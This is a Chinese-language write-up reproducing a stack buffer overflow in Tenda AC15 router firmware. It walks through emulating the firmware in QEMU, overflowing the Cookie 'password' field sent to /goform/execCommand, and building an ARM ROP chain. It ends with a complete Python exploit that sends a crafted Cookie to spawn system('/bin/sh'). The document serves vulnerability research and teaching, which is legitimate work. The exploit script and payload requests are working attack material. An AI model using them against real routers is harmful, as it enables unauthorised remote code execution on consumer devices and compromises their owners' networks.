TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。
复现环境
-
漏洞固件在官网没找着,去百度找到了,地址在这里
版本号:V15.03.1.16
-
qemu v5.2
-
Ubuntu 18.04
-
ida 7.5
漏洞分析
需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。
设置桥接网络
安装依赖:
sudo apt-get install bridge-utils uml-utilities
修改 /etc/network/interfaces
网卡配置文件如下:
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
修改 qemu 网络脚本 /etc/qemu-ifup
为如下:
#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3
给脚本加上权限,重启网络服务,如果连不上网可以重启一下:
sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart
sudo ifdown ens33
sudo ifup br0
运行程序还是报错,通过字符串定位到 ConnectCfm
函数,看不到函数体,应该是在其他文件定义的,这里也要 patch 改下跳转条件:
然后就能正常运行 httpd 服务(如果 check_network 检查是 patch 解决的,这里 ip 会有点诡异):
在 R7WebsSecurityHandler
开头打上断点,这个函数处理 /goform/execCommand
的请求:
用 burpsuite 给 /goform/execCommand
发个包,加上 Cookie 的 password 属性,长度弄长点:
GET /goform/execCommand HTTP/1.1
Host: 192.168.211.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Cache-Control: max-age=0
当检索 password 属性后将值经过 sscanf 正则过滤后存放到 v34 的字符串列表局部变量:
继续运行就会报段错误退出:
用 gdb-multiarch 跟一下,查看一下地址信息。发现是在一个 if 判断中退出报错,而不是在 R7WebsSecurityHandler 退出,这样控制程序流有点复杂:
根据规则如果 URL 文件后缀不是 gif 才进入 if 函数体,那么就加一个 .gif
让程序流直接从 R7WebsSecurityHandler 返回,这样控制起来就简单多。
然后用 cycli 生成字符串测量长度,要注意加 1 再算 padding ,得出长度为 447 。成功控制返回地址:
'Cookie': password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"
ROP 利用链
arm 返回地址是在 pc 寄存器,不是在栈上。qemu 虚拟机没有随机化地址。
构造出 system('/bin/sh')
,/bin/sh
长度超过 4 字节,由于对齐要占据 8 字节空间,pop r0,pc
gadget 不能直接用了。
先用 pop r3,pc
将 system 放到 r3 ,同时压入 mov r0,sp;blx r3
,这时 sp 寄存器指向 /bin/sh ,将参数地址移动到 r0 ,然后跳转 r3 地址。
qemu 需要加上 -strace 查看调用:
EXP
import struct
import requests
ip = "192.168.211.7"
command = "/bin/sh\x00"
url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}
libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444+b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password
try:
response = requests.get(url,headers=headers,timeout=1)
except:
pass
参考文章
https://www.freebuf.com/articles/wireless/166869.html
https://wzt.ac.cn/2019/03/19/CVE-2018-5767/